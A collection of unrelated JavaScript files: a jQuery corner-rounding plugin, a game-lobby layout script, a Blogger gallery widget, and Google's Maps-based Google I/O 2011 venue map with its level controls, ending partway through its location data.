fold = /dogfold|bevelfold/.test(o),
edges = { T:0, B:1 },
opts = {
TL: /top|tl|left/.test(o), TR: /top|tr|right/.test(o),
BL: /bottom|bl|left/.test(o), BR: /bottom|br|right/.test(o)
},
// vars used in func later
strip, pad, cssHeight, j, bot, d, ds, bw, i, w, e, c, common, $horz;
if ( !opts.TL && !opts.TR && !opts.BL && !opts.BR )
opts = { TL:1, TR:1, BL:1, BR:1 };
// support native rounding
if ($.fn.corner.defaults.useNative && fx == 'round' && (radius || moz || webkit) && !cc && !sc) {
if (opts.TL)
$this.css(radius ? 'border-top-left-radius' : moz ? '-moz-border-radius-topleft' : '-webkit-border-top-left-radius', width + 'px');
if (opts.TR)
$this.css(radius ? 'border-top-right-radius' : moz ? '-moz-border-radius-topright' : '-webkit-border-top-right-radius', width + 'px');
if (opts.BL)
$this.css(radius ? 'border-bottom-left-radius' : moz ? '-moz-border-radius-bottomleft' : '-webkit-border-bottom-left-radius', width + 'px');
if (opts.BR)
$this.css(radius ? 'border-bottom-right-radius' : moz ? '-moz-border-radius-bottomright' : '-webkit-border-bottom-right-radius', width + 'px');
return;
}
strip = document.createElement('div');
$(strip).css({
overflow: 'hidden',
height: '1px',
minHeight: '1px',
fontSize: '1px',
backgroundColor: sc || 'transparent',
borderStyle: 'solid'
});
pad = {
T: parseInt($.css(this,'paddingTop'))||0, R: parseInt($.css(this,'paddingRight'))||0,
B: parseInt($.css(this,'paddingBottom'))||0, L: parseInt($.css(this,'paddingLeft'))||0
};
if (typeof this.style.zoom != undefined) this.style.zoom = 1; // force 'hasLayout' in IE
if (!keep) this.style.border = 'none';
strip.style.borderColor = cc || gpc(this.parentNode);
cssHeight = $(this).outerHeight();
for (j in edges) {
bot = edges[j];
// only add stips if needed
if ((bot && (opts.BL || opts.BR)) || (!bot && (opts.TL || opts.TR))) {
strip.style.borderStyle = 'none '+(opts[j+'R']?'solid':'none')+' none '+(opts[j+'L']?'solid':'none');
d = document.createElement('div');
$(d).addClass('jquery-corner');
ds = d.style;
bot ? this.appendChild(d) : this.insertBefore(d, this.firstChild);
if (bot && cssHeight != 'auto') {
if ($.css(this,'position') == 'static')
this.style.position = 'relative';
ds.position = 'absolute';
ds.bottom = ds.left = ds.padding = ds.margin = '0';
if (expr)
ds.setExpression('width', 'this.parentNode.offsetWidth');
else
ds.width = '100%';
}
else if (!bot && $.browser.msie) {
if ($.css(this,'position') == 'static')
this.style.position = 'relative';
ds.position = 'absolute';
ds.top = ds.left = ds.right = ds.padding = ds.margin = '0';
// fix ie6 problem when blocked element has a border width
if (expr) {
bw = sz(this,'borderLeftWidth') + sz(this,'borderRightWidth');
ds.setExpression('width', 'this.parentNode.offsetWidth - '+bw+'+ "px"');
}
else
ds.width = '100%';
}
else {
ds.position = 'relative';
ds.margin = !bot ? '-'+pad.T+'px -'+pad.R+'px '+(pad.T-width)+'px -'+pad.L+'px' :
(pad.B-width)+'px -'+pad.R+'px -'+pad.B+'px -'+pad.L+'px';
}
for (i=0; i < width; i++) {
w = Math.max(0,getWidth(fx,i, width));
e = strip.cloneNode(false);
e.style.borderWidth = '0 '+(opts[j+'R']?w:0)+'px 0 '+(opts[j+'L']?w:0)+'px';
bot ? d.appendChild(e) : d.insertBefore(e, d.firstChild);
}
if (fold && $.support.boxModel) {
if (bot && noBottomFold) continue;
for (c in opts) {
if (!opts[c]) continue;
if (bot && (c == 'TL' || c == 'TR')) continue;
if (!bot && (c == 'BL' || c == 'BR')) continue;
common = { position: 'absolute', border: 'none', margin: 0, padding: 0, overflow: 'hidden', backgroundColor: strip.style.borderColor };
$horz = $('<div/>').css(common).css({ width: width + 'px', height: '1px' });
switch(c) {
case 'TL': $horz.css({ bottom: 0, left: 0 }); break;
case 'TR': $horz.css({ bottom: 0, right: 0 }); break;
case 'BL': $horz.css({ top: 0, left: 0 }); break;
case 'BR': $horz.css({ top: 0, right: 0 }); break;
}
d.appendChild($horz[0]);
var $vert = $('<div/>').css(common).css({ top: 0, bottom: 0, width: '1px', height: width + 'px' });
switch(c) {
case 'TL': $vert.css({ left: width }); break;
case 'TR': $vert.css({ right: width }); break;
case 'BL': $vert.css({ left: width }); break;
case 'BR': $vert.css({ right: width }); break;
}
d.appendChild($vert[0]);
}
}
}
}
});
};
$.fn.uncorner = function() {
if (radius || moz || webkit)
this.css(radius ? 'border-radius' : moz ? '-moz-border-radius' : '-webkit-border-radius', 0);
$('div.jquery-corner', this).remove();
return this;
};
// expose options
$.fn.corner.defaults = {
useNative: true, // true if plugin should attempt to use native browser support for border radius rounding
metaAttr: 'data-corner' // name of meta attribute to use for options
};
})(jQuery);
| JavaScript |
var pageContentDiv;
var pageHeaderDiv;
jQuery(document).ready(function() {
adjustPlacement();
jQuery(".lobbyTable").corner();
jQuery(".pageHeader").corner();
jQuery(".pageContent").corner();
loginRearrange();
});
function adjustPlacement() {
margin = parseInt(jQuery("body").width()) * 0.1 > 10 ? parseInt(jQuery(
"body").width()) * 0.1 : 10;
pageContentDiv = jQuery(".pageContent");
pageContentDiv.css({
"marginLeft" : margin,
"marginRight" : margin
});
pageHeaderDiv = jQuery(".pageHeader");
pageHeaderDiv.css({
"marginLeft" : margin,
"marginRight" : margin
});
}
function loginRearrange() {
var myGamesWidth = jQuery(".myGames").width();
var windowWidth = jQuery(window).width();
var space = windowWidth * 0.05 > 10 ? windowWidth * 0.05 : 10;
var myGamesMarginLeft = jQuery(".myGames").css("marginLeft");
jQuery(".lobby").animate(
{
"marginLeft" : parseInt(myGamesWidth)
+ parseInt(myGamesMarginLeft) + space
}, 1000);
jQuery(".myGamesTable").corner();
jQuery(".myGames").delay(1000).slideToggle(1000, function() {
jQuery(".newGameButton").show();
});
}
jQuery(window).resize(
function() {
adjustPlacement();
var myGamesWidth = jQuery(".myGames").width();
var windowWidth = jQuery("body").width();
var space = windowWidth * 0.05 > 10 ? windowWidth * 0.05 : 10;
var myGamesMarginLeft = jQuery(".myGames").css("marginLeft");
jQuery(".lobby").css(
{
"marginLeft" : parseInt(myGamesWidth)
+ parseInt(myGamesMarginLeft) + space
});
}); | JavaScript |
var showpostthumbnails_gal = true;
var showpostsummary_gal = true;
var random_posts = false;
var numchars_gal = 150;
var numposts_gal = 10;
function showgalleryposts(json) {
var numPosts = json.feed.openSearch$totalResults.$t;
var indexPosts = new Array();
document.write('<ul>');
for (var i = 0; i < numPosts; ++i) {
indexPosts[i] = i;
}
if (random_posts == true){
indexPosts.sort(function() {return 0.5 - Math.random()});
}
if (numposts_gal > numPosts) {
numposts_gal = numPosts;
}
for (i = 0; i < numposts_gal; ++i) {
var entry_gal = json.feed.entry[indexPosts[i]];
var posttitle_gal = entry_gal.title.$t;
for (var k = 0; k < entry_gal.link.length; k++) {
if ( entry_gal.link[k].rel == 'alternate') {
posturl_gal = entry_gal.link[k].href;
break;
}
}
if ("content" in entry_gal) {
var postcontent_gal = entry_gal.content.$t
}
s = postcontent_gal;
a = s.indexOf("<img");
b = s.indexOf("src=\"", a);
c = s.indexOf("\"", b + 5);
d = s.substr(b + 5, c - b - 5);
if ((a != -1) && (b != -1) && (c != -1) && (d != "")) {
var thumburl_gal = d
} else var thumburl_gal = 'http://i1133.photobucket.com/albums/m596/abu-farhan/Images_no_image.gif';
document.write('<li><div id="slide-container"><span class="slide-desc"><h2 style="margin:10px 0px;">');
document.write(posttitle_gal + '</h2>');
var re = /<\S[^>]*>/g;
postcontent_gal = postcontent_gal.replace(re, "");
if (showpostsummary_gal == true) {
if (postcontent_gal.length < numchars_gal) {
document.write(postcontent_gal);
document.write('</span>')
} else {
postcontent_gal = postcontent_gal.substring(0, numchars_gal);
var quoteEnd_gal = postcontent_gal.lastIndexOf(" ");
postcontent_gal = postcontent_gal.substring(0, quoteEnd_gal);
document.write(postcontent_gal + '...');
document.write('</span>')
}
}
document.write('<a href="' + posturl_gal + '"><img src="' + thumburl_gal + '" width="480px" height="220"/></a></div>');
document.write('</li>');
}
document.write('</ul>');
} | JavaScript |
/**
* @license
*
* Copyright 2011 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/**
* @fileoverview SmartMarker.
*
* @author Chris Broadfoot (cbro@google.com)
*/
/**
* A google.maps.Marker that has some smarts about the zoom levels it should be
* shown.
*
* Options are the same as google.maps.Marker, with the addition of minZoom and
* maxZoom. These zoom levels are inclusive. That is, a SmartMarker with
* a minZoom and maxZoom of 13 will only be shown at zoom level 13.
* @constructor
* @extends google.maps.Marker
* @param {Object=} opts Same as MarkerOptions, plus minZoom and maxZoom.
*/
function SmartMarker(opts) {
var marker = new google.maps.Marker;
// default min/max Zoom - shows the marker all the time.
marker.setValues({
'minZoom': 0,
'maxZoom': Infinity
});
// the current listener (if any), triggered on map zoom_changed
var mapZoomListener;
google.maps.event.addListener(marker, 'map_changed', function() {
if (mapZoomListener) {
google.maps.event.removeListener(mapZoomListener);
}
var map = marker.getMap();
if (map) {
var listener = SmartMarker.newZoomListener_(marker);
mapZoomListener = google.maps.event.addListener(map, 'zoom_changed',
listener);
// Call the listener straight away. The map may already be initialized,
// so it will take user input for zoom_changed to be fired.
listener();
}
});
marker.setValues(opts);
return marker;
}
window['SmartMarker'] = SmartMarker;
/**
* Creates a new listener to be triggered on 'zoom_changed' event.
* Hides and shows the target Marker based on the map's zoom level.
* @param {google.maps.Marker} marker The target marker.
* @return Function
*/
SmartMarker.newZoomListener_ = function(marker) {
var map = marker.getMap();
return function() {
var zoom = map.getZoom();
var minZoom = Number(marker.get('minZoom'));
var maxZoom = Number(marker.get('maxZoom'));
marker.setVisible(zoom >= minZoom && zoom <= maxZoom);
};
};
| JavaScript |
/**
* Creates a new level control.
* @constructor
* @param {IoMap} iomap the IO map controller.
* @param {Array.<string>} levels the levels to create switchers for.
*/
function LevelControl(iomap, levels) {
var that = this;
this.iomap_ = iomap;
this.el_ = this.initDom_(levels);
google.maps.event.addListener(iomap, 'level_changed', function() {
that.changeLevel_(iomap.get('level'));
});
}
/**
* Gets the DOM element for the control.
* @return {Element}
*/
LevelControl.prototype.getElement = function() {
return this.el_;
};
/**
* Creates the necessary DOM for the control.
* @return {Element}
*/
LevelControl.prototype.initDom_ = function(levelDefinition) {
var controlDiv = document.createElement('DIV');
controlDiv.setAttribute('id', 'levels-wrapper');
var levels = document.createElement('DIV');
levels.setAttribute('id', 'levels');
controlDiv.appendChild(levels);
var levelSelect = this.levelSelect_ = document.createElement('DIV');
levelSelect.setAttribute('id', 'level-select');
levels.appendChild(levelSelect);
this.levelDivs_ = [];
var that = this;
for (var i = 0, level; level = levelDefinition[i]; i++) {
var div = document.createElement('DIV');
div.innerHTML = 'Level ' + level;
div.setAttribute('id', 'level-' + level);
div.className = 'level';
levels.appendChild(div);
this.levelDivs_.push(div);
google.maps.event.addDomListener(div, 'click', function(e) {
var id = e.currentTarget.getAttribute('id');
var level = parseInt(id.replace('level-', ''), 10);
that.iomap_.setHash('level' + level);
});
}
controlDiv.index = 1;
return controlDiv;
};
/**
* Changes the highlighted level in the control.
* @param {number} level the level number to select.
*/
LevelControl.prototype.changeLevel_ = function(level) {
if (this.currentLevelDiv_) {
this.currentLevelDiv_.className =
this.currentLevelDiv_.className.replace(' level-selected', '');
}
var h = 25;
if (window['ioEmbed']) {
h = (window.screen.availWidth > 600) ? 34 : 24;
}
this.levelSelect_.style.top = 9 + ((level - 1) * h) + 'px';
var div = this.levelDivs_[level - 1];
div.className += ' level-selected';
this.currentLevelDiv_ = div;
};
| JavaScript |
/**
* Creates a new Floor.
* @constructor
* @param {google.maps.Map=} opt_map
*/
function Floor(opt_map) {
/**
* @type Array.<google.maps.MVCObject>
*/
this.overlays_ = [];
/**
* @type boolean
*/
this.shown_ = true;
if (opt_map) {
this.setMap(opt_map);
}
}
/**
* @param {google.maps.Map} map
*/
Floor.prototype.setMap = function(map) {
this.map_ = map;
};
/**
* @param {google.maps.MVCObject} overlay For example, a Marker or MapLabel.
* Requires a setMap method.
*/
Floor.prototype.addOverlay = function(overlay) {
if (!overlay) return;
this.overlays_.push(overlay);
overlay.setMap(this.shown_ ? this.map_ : null);
};
/**
* Sets the map on all the overlays
* @param {google.maps.Map} map The map to set.
*/
Floor.prototype.setMapAll_ = function(map) {
this.shown_ = !!map;
for (var i = 0, overlay; overlay = this.overlays_[i]; i++) {
overlay.setMap(map);
}
};
/**
* Hides the floor and all associated overlays.
*/
Floor.prototype.hide = function() {
this.setMapAll_(null);
};
/**
* Shows the floor and all associated overlays.
*/
Floor.prototype.show = function() {
this.setMapAll_(this.map_);
};
| JavaScript |
// Copyright 2011 Google
/**
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/**
* The Google IO Map
* @constructor
*/
var IoMap = function() {
var moscone = new google.maps.LatLng(37.78313383211993, -122.40394949913025);
/** @type {Node} */
this.mapDiv_ = document.getElementById(this.MAP_ID);
var ioStyle = [
{
'featureType': 'road',
stylers: [
{ hue: '#00aaff' },
{ gamma: 1.67 },
{ saturation: -24 },
{ lightness: -38 }
]
},{
'featureType': 'road',
'elementType': 'labels',
stylers: [
{ invert_lightness: true }
]
}];
/** @type {boolean} */
this.ready_ = false;
/** @type {google.maps.Map} */
this.map_ = new google.maps.Map(this.mapDiv_, {
zoom: 18,
center: moscone,
navigationControl: true,
mapTypeControl: false,
scaleControl: true,
mapTypeId: 'io',
streetViewControl: false
});
var style = /** @type {*} */(new google.maps.StyledMapType(ioStyle));
this.map_.mapTypes.set('io', /** @type {google.maps.MapType} */(style));
google.maps.event.addListenerOnce(this.map_, 'tilesloaded', function() {
if (window['MAP_CONTAINER'] !== undefined) {
window['MAP_CONTAINER']['onMapReady']();
}
});
/** @type {Array.<Floor>} */
this.floors_ = [];
for (var i = 0; i < this.LEVELS_.length; i++) {
this.floors_.push(new Floor(this.map_));
}
this.addLevelControl_();
this.addMapOverlay_();
this.loadMapContent_();
this.initLocationHashWatcher_();
if (!document.location.hash) {
this.showLevel(1, true);
}
}
IoMap.prototype = new google.maps.MVCObject;
/**
* The id of the Element to add the map to.
*
* @type {string}
* @const
*/
IoMap.prototype.MAP_ID = 'map-canvas';
/**
* The levels of the Moscone Center.
*
* @type {Array.<string>}
* @private
*/
IoMap.prototype.LEVELS_ = ['1', '2', '3'];
/**
* Location where the tiles are hosted.
*
* @type {string}
* @private
*/
IoMap.prototype.BASE_TILE_URL_ =
'http://www.gstatic.com/io2010maps/tiles/5/';
/**
* The minimum zoom level to show the overlay.
*
* @type {number}
* @private
*/
IoMap.prototype.MIN_ZOOM_ = 16;
/**
* The maximum zoom level to show the overlay.
*
* @type {number}
* @private
*/
IoMap.prototype.MAX_ZOOM_ = 20;
/**
* The template for loading tiles. Replace {L} with the level, {Z} with the
* zoom level, {X} and {Y} with respective tile coordinates.
*
* @type {string}
* @private
*/
IoMap.prototype.TILE_TEMPLATE_URL_ = IoMap.prototype.BASE_TILE_URL_ +
'L{L}_{Z}_{X}_{Y}.png';
/**
* @type {string}
* @private
*/
IoMap.prototype.SIMPLE_TILE_TEMPLATE_URL_ =
IoMap.prototype.BASE_TILE_URL_ + '{Z}_{X}_{Y}.png';
/**
* The extent of the overlay at certain zoom levels.
*
* @type {Object.<string, Array.<Array.<number>>>}
* @private
*/
IoMap.prototype.RESOLUTION_BOUNDS_ = {
16: [[10484, 10485], [25328, 25329]],
17: [[20969, 20970], [50657, 50658]],
18: [[41939, 41940], [101315, 101317]],
19: [[83878, 83881], [202631, 202634]],
20: [[167757, 167763], [405263, 405269]]
};
/**
* The previous hash to compare against.
*
* @type {string?}
* @private
*/
IoMap.prototype.prevHash_ = null;
/**
* Initialise the location hash watcher.
*
* @private
*/
IoMap.prototype.initLocationHashWatcher_ = function() {
var that = this;
if ('onhashchange' in window) {
window.addEventListener('hashchange', function() {
that.parseHash_();
}, true);
} else {
var that = this
window.setInterval(function() {
that.parseHash_();
}, 100);
}
this.parseHash_();
};
/**
* Called from Android.
*
* @param {Number} x A percentage to pan left by.
*/
IoMap.prototype.panLeft = function(x) {
var div = this.map_.getDiv();
var left = div.clientWidth * x;
this.map_.panBy(left, 0);
};
IoMap.prototype['panLeft'] = IoMap.prototype.panLeft;
/**
* Adds the level switcher to the top left of the map.
*
* @private
*/
IoMap.prototype.addLevelControl_ = function() {
var control = new LevelControl(this, this.LEVELS_).getElement();
this.map_.controls[google.maps.ControlPosition.TOP_LEFT].push(control);
};
/**
* Shows a floor based on the content of location.hash.
*
* @private
*/
IoMap.prototype.parseHash_ = function() {
var hash = document.location.hash;
if (hash == this.prevHash_) {
return;
}
this.prevHash_ = hash;
var level = 1;
if (hash) {
var match = hash.match(/level(\d)(?:\:([\w-]+))?/);
if (match && match[1]) {
level = parseInt(match[1], 10);
}
}
this.showLevel(level, true);
};
/**
* Updates location.hash based on the currently shown floor.
*
* @param {string?} opt_hash
*/
IoMap.prototype.setHash = function(opt_hash) {
var hash = document.location.hash.substring(1);
if (hash == opt_hash) {
return;
}
if (opt_hash) {
document.location.hash = opt_hash;
} else {
document.location.hash = 'level' + this.get('level');
}
};
IoMap.prototype['setHash'] = IoMap.prototype.setHash;
/**
* Called from spreadsheets.
*/
IoMap.prototype.loadSandboxCallback = function(json) {
var updated = json['feed']['updated']['$t'];
var contentItems = [];
var ids = {};
var entries = json['feed']['entry'];
for (var i = 0, entry; entry = entries[i]; i++) {
var item = {};
item.companyName = entry['gsx$companyname']['$t'];
item.companyUrl = entry['gsx$companyurl']['$t'];
var p = entry['gsx$companypod']['$t'];
item.pod = p;
p = p.toLowerCase().replace(/\s+/, '');
item.sessionRoom = p;
contentItems.push(item);
};
this.sandboxItems_ = contentItems;
this.ready_ = true;
this.addMapContent_();
};
/**
* Called from spreadsheets.
*
* @param {Object} json The json feed from the spreadsheet.
*/
IoMap.prototype.loadSessionsCallback = function(json) {
var updated = json['feed']['updated']['$t'];
var contentItems = [];
var ids = {};
var entries = json['feed']['entry'];
for (var i = 0, entry; entry = entries[i]; i++) {
var item = {};
item.sessionDate = entry['gsx$sessiondate']['$t'];
item.sessionAbstract = entry['gsx$sessionabstract']['$t'];
item.sessionHashtag = entry['gsx$sessionhashtag']['$t'];
item.sessionLevel = entry['gsx$sessionlevel']['$t'];
item.sessionTitle = entry['gsx$sessiontitle']['$t'];
item.sessionTrack = entry['gsx$sessiontrack']['$t'];
item.sessionUrl = entry['gsx$sessionurl']['$t'];
item.sessionYoutubeUrl = entry['gsx$sessionyoutubeurl']['$t'];
item.sessionTime = entry['gsx$sessiontime']['$t'];
item.sessionRoom = entry['gsx$sessionroom']['$t'];
item.sessionTags = entry['gsx$sessiontags']['$t'];
item.sessionSpeakers = entry['gsx$sessionspeakers']['$t'];
if (item.sessionDate.indexOf('10') != -1) {
item.sessionDay = 10;
} else {
item.sessionDay = 11;
}
var timeParts = item.sessionTime.split('-');
item.sessionStart = this.convertTo24Hour_(timeParts[0]);
item.sessionEnd = this.convertTo24Hour_(timeParts[1]);
contentItems.push(item);
}
this.sessionItems_ = contentItems;
};
/**
* Converts the time in the spread sheet to 24 hour time.
*
* @param {string} time The time like 10:42am.
*/
IoMap.prototype.convertTo24Hour_ = function(time) {
var pm = time.indexOf('pm') != -1;
time = time.replace(/[am|pm]/ig, '');
if (pm) {
var bits = time.split(':');
var hr = parseInt(bits[0], 10);
if (hr < 12) {
time = (hr + 12) + ':' + bits[1];
}
}
return time;
};
/**
* Loads the map content from Google Spreadsheets.
*
* @private
*/
IoMap.prototype.loadMapContent_ = function() {
// Initiate a JSONP request.
var that = this;
// Add a exposed call back function
window['loadSessionsCallback'] = function(json) {
that.loadSessionsCallback(json);
}
// Add a exposed call back function
window['loadSandboxCallback'] = function(json) {
that.loadSandboxCallback(json);
}
var key = 'tmaLiaNqIWYYtuuhmIyG0uQ';
var worksheetIDs = {
sessions: 'od6',
sandbox: 'od4'
};
var jsonpUrl = 'http://spreadsheets.google.com/feeds/list/' +
key + '/' + worksheetIDs.sessions + '/public/values' +
'?alt=json-in-script&callback=loadSessionsCallback';
var script = document.createElement('script');
script.setAttribute('src', jsonpUrl);
script.setAttribute('type', 'text/javascript');
document.documentElement.firstChild.appendChild(script);
var jsonpUrl = 'http://spreadsheets.google.com/feeds/list/' +
key + '/' + worksheetIDs.sandbox + '/public/values' +
'?alt=json-in-script&callback=loadSandboxCallback';
var script = document.createElement('script');
script.setAttribute('src', jsonpUrl);
script.setAttribute('type', 'text/javascript');
document.documentElement.firstChild.appendChild(script);
};
/**
* Called from Android.
*
* @param {string} roomId The id of the room to load.
*/
IoMap.prototype.showLocationById = function(roomId) {
var locations = this.LOCATIONS_;
for (var level in locations) {
var levelId = level.replace('LEVEL', '');
for (var loc in locations[level]) {
var room = locations[level][loc];
if (loc == roomId) {
var pos = new google.maps.LatLng(room.lat, room.lng);
this.map_.panTo(pos);
this.map_.setZoom(19);
this.showLevel(levelId);
if (room.marker_) {
room.marker_.setAnimation(google.maps.Animation.BOUNCE);
// Disable the animation after 5 seconds.
window.setTimeout(function() {
room.marker_.setAnimation();
}, 5000);
}
return;
}
}
}
};
IoMap.prototype['showLocationById'] = IoMap.prototype.showLocationById;
/**
* Called when the level is changed. Hides and shows floors.
*/
IoMap.prototype['level_changed'] = function() {
var level = this.get('level');
if (this.infoWindow_) {
this.infoWindow_.setMap(null);
}
for (var i = 1, floor; floor = this.floors_[i - 1]; i++) {
if (i == level) {
floor.show();
} else {
floor.hide();
}
}
this.setHash('level' + level);
};
/**
* Shows a particular floor.
*
* @param {string} level The level to show.
* @param {boolean=} opt_force if true, changes the floor even if it's already
* the current floor.
*/
IoMap.prototype.showLevel = function(level, opt_force) {
if (!opt_force && level == this.get('level')) {
return;
}
this.set('level', level);
};
IoMap.prototype['showLevel'] = IoMap.prototype.showLevel;
/**
* Create a marker with the content item's correct icon.
*
* @param {Object} item The content item for the marker.
* @return {google.maps.Marker} The new marker.
* @private
*/
IoMap.prototype.createContentMarker_ = function(item) {
if (!item.icon) {
item.icon = 'generic';
}
var image;
var shadow;
switch(item.icon) {
case 'generic':
case 'info':
case 'media':
var image = new google.maps.MarkerImage(
'marker-' + item.icon + '.png',
new google.maps.Size(30, 28),
new google.maps.Point(0, 0),
new google.maps.Point(13, 26));
var shadow = new google.maps.MarkerImage(
'marker-shadow.png',
new google.maps.Size(30, 28),
new google.maps.Point(0,0),
new google.maps.Point(13, 26));
break;
case 'toilets':
var image = new google.maps.MarkerImage(
item.icon + '.png',
new google.maps.Size(35, 35),
new google.maps.Point(0, 0),
new google.maps.Point(17, 17));
break;
case 'elevator':
var image = new google.maps.MarkerImage(
item.icon + '.png',
new google.maps.Size(48, 26),
new google.maps.Point(0, 0),
new google.maps.Point(24, 13));
break;
}
var inactive = item.type == 'inactive';
var latLng = new google.maps.LatLng(item.lat, item.lng);
var marker = new SmartMarker({
position: latLng,
shadow: shadow,
icon: image,
title: item.title,
minZoom: inactive ? 19 : 18,
clickable: !inactive
});
marker['type_'] = item.type;
if (!inactive) {
var that = this;
google.maps.event.addListener(marker, 'click', function() {
that.openContentInfo_(item);
});
}
return marker;
};
/**
* Create a label with the content item's title atribute, if it exists.
*
* @param {Object} item The content item for the marker.
* @return {MapLabel?} The new label.
* @private
*/
IoMap.prototype.createContentLabel_ = function(item) {
if (!item.title || item.suppressLabel) {
return null;
}
var latLng = new google.maps.LatLng(item.lat, item.lng);
return new MapLabel({
'text': item.title,
'position': latLng,
'minZoom': item.labelMinZoom || 18,
'align': item.labelAlign || 'center',
'fontColor': item.labelColor,
'fontSize': item.labelSize || 12
});
}
/**
* Open a info window a content item.
*
* @param {Object} item A content item with content and a marker.
*/
IoMap.prototype.openContentInfo_ = function(item) {
if (window['MAP_CONTAINER'] !== undefined) {
window['MAP_CONTAINER']['openContentInfo'](item.room);
return;
}
var sessionBase = 'http://www.google.com/events/io/2011/sessions.html';
var now = new Date();
var may11 = new Date('May 11, 2011');
var day = now < may11 ? 10 : 11;
var type = item.type;
var id = item.id;
var title = item.title;
var content = ['<div class="infowindow">'];
var sessions = [];
var empty = true;
if (item.type == 'session') {
if (day == 10) {
content.push('<h3>' + title + ' - Tuesday May 10</h3>');
} else {
content.push('<h3>' + title + ' - Wednesday May 11</h3>');
}
for (var i = 0, session; session = this.sessionItems_[i]; i++) {
if (session.sessionRoom == item.room && session.sessionDay == day) {
sessions.push(session);
empty = false;
}
}
sessions.sort(this.sortSessions_);
for (var i = 0, session; session = sessions[i]; i++) {
content.push('<div class="session"><div class="session-time">' +
session.sessionTime + '</div><div class="session-title"><a href="' +
session.sessionUrl + '">' +
session.sessionTitle + '</a></div></div>');
}
}
if (item.type == 'sandbox') {
var sandboxName;
for (var i = 0, sandbox; sandbox = this.sandboxItems_[i]; i++) {
if (sandbox.sessionRoom == item.room) {
if (!sandboxName) {
sandboxName = sandbox.pod;
content.push('<h3>' + sandbox.pod + '</h3>');
content.push('<div class="sandbox">');
}
content.push('<div class="sandbox-items"><a href="http://' +
sandbox.companyUrl + '">' + sandbox.companyName + '</a></div>');
empty = false;
}
}
content.push('</div>');
empty = false;
}
if (empty) {
return;
}
content.push('</div>');
var pos = new google.maps.LatLng(item.lat, item.lng);
if (!this.infoWindow_) {
this.infoWindow_ = new google.maps.InfoWindow();
}
this.infoWindow_.setContent(content.join(''));
this.infoWindow_.setPosition(pos);
this.infoWindow_.open(this.map_);
};
/**
* A custom sort function to sort the sessions by start time.
*
* @param {string} a SessionA<enter description here>.
* @param {string} b SessionB.
* @return {boolean} True if sessionA is after sessionB.
*/
IoMap.prototype.sortSessions_ = function(a, b) {
var aStart = parseInt(a.sessionStart.replace(':', ''), 10);
var bStart = parseInt(b.sessionStart.replace(':', ''), 10);
return aStart > bStart;
};
/**
* Adds all overlays (markers, labels) to the map.
*/
IoMap.prototype.addMapContent_ = function() {
if (!this.ready_) {
return;
}
for (var i = 0, level; level = this.LEVELS_[i]; i++) {
var floor = this.floors_[i];
var locations = this.LOCATIONS_['LEVEL' + level];
for (var roomId in locations) {
var room = locations[roomId];
if (room.room == undefined) {
room.room = roomId;
}
if (room.type != 'label') {
var marker = this.createContentMarker_(room);
floor.addOverlay(marker);
room.marker_ = marker;
}
var label = this.createContentLabel_(room);
floor.addOverlay(label);
}
}
};
/**
* Gets the correct tile url for the coordinates and zoom.
*
* @param {google.maps.Point} coord The coordinate of the tile.
* @param {Number} zoom The current zoom level.
* @return {string} The url to the tile.
*/
IoMap.prototype.getTileUrl = function(coord, zoom) {
// Ensure that the requested resolution exists for this tile layer.
if (this.MIN_ZOOM_ > zoom || zoom > this.MAX_ZOOM_) {
return '';
}
// Ensure that the requested tile x,y exists.
if ((this.RESOLUTION_BOUNDS_[zoom][0][0] > coord.x ||
coord.x > this.RESOLUTION_BOUNDS_[zoom][0][1]) ||
(this.RESOLUTION_BOUNDS_[zoom][1][0] > coord.y ||
coord.y > this.RESOLUTION_BOUNDS_[zoom][1][1])) {
return '';
}
var template = this.TILE_TEMPLATE_URL_;
if (16 <= zoom && zoom <= 17) {
template = this.SIMPLE_TILE_TEMPLATE_URL_;
}
return template
.replace('{L}', /** @type string */(this.get('level')))
.replace('{Z}', /** @type string */(zoom))
.replace('{X}', /** @type string */(coord.x))
.replace('{Y}', /** @type string */(coord.y));
};
/**
* Add the floor overlay to the map.
*
* @private
*/
IoMap.prototype.addMapOverlay_ = function() {
var that = this;
var overlay = new google.maps.ImageMapType({
getTileUrl: function(coord, zoom) {
return that.getTileUrl(coord, zoom);
},
tileSize: new google.maps.Size(256, 256)
});
google.maps.event.addListener(this, 'level_changed', function() {
var overlays = that.map_.overlayMapTypes;
if (overlays.length) {
overlays.removeAt(0);
}
overlays.push(overlay);
});
};
/**
* All the features of the map.
* @type {Object.<string, Object.<string, Object.<string, *>>>}
*/
IoMap.prototype.LOCATIONS_ = {
'LEVEL1': {
'northentrance': {
lat: 37.78381535905965,
lng: -122.40362226963043,
title: 'Entrance',
type: 'label',
labelColor: '#006600',
labelAlign: 'left',
labelSize: 10
},
'eastentrance': {
lat: 37.78328434094279,
lng: -122.40319311618805,
title: 'Entrance',
type: 'label',
labelColor: '#006600',
labelAlign: 'left',
labelSize: 10
},
'lunchroom': {
lat: 37.783112633669575,
lng: -122.40407556295395,
title: 'Lunch Room'
},
'restroom1a': {
lat: 37.78372420652042,
lng: -122.40396961569786,
icon: 'toilets',
type: 'inactive',
title: 'Restroom',
suppressLabel: true
},
'elevator1a': {
lat: 37.783669090977035,
lng: -122.40389987826347,
icon: 'elevator',
type: 'inactive',
title: 'Elevators',
suppressLabel: true
},
'gearpickup': {
lat: 37.78367863020862,
lng: -122.4037617444992,
title: 'Gear Pickup',
type: 'label'
},
'checkin': {
lat: 37.78334369645064,
lng: -122.40335404872894,
title: 'Check In',
type: 'label'
},
'escalators1': {
lat: 37.78353872135503,
lng: -122.40336209535599,
title: 'Escalators',
type: 'label',
labelAlign: 'left'
}
},
'LEVEL2': {
'escalators2': {
lat: 37.78353872135503,
lng: -122.40336209535599,
title: 'Escalators',
type: 'label',
labelAlign: 'left',
labelMinZoom: 19
},
'press': {
lat: 37.78316774962791,
lng: -122.40360751748085,
